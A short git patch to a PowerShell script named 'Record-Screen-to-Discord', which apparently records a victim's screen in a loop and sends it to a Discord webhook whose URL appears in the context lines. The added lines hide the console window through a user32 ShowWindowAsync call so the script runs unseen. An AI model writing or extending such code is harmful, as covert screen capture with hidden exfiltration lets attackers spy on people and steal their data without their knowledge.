From 8296cf0bab41702addd160d905b3872fa376b423 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 20 Jun 2025 20:53:12 +0000 Subject: [PATCH] Update main.ps1 --- Record-Screen-to-Discord/main.ps1 | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 index 5068b16..9fe7198 100644 --- a/Record-Screen-to-Discord/main.ps1 +++ b/Record-Screen-to-Discord/main.ps1 @@ -10,6 +10,23 @@ if ($hookurl.Length -lt 120){ $hookurl = ("https://discord.com/api/webhooks/" + "$dc") } +# Uncomment $hide='y' below to hide the console + +# $hide='y' +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } +} + while($true){ Function RecordScreen{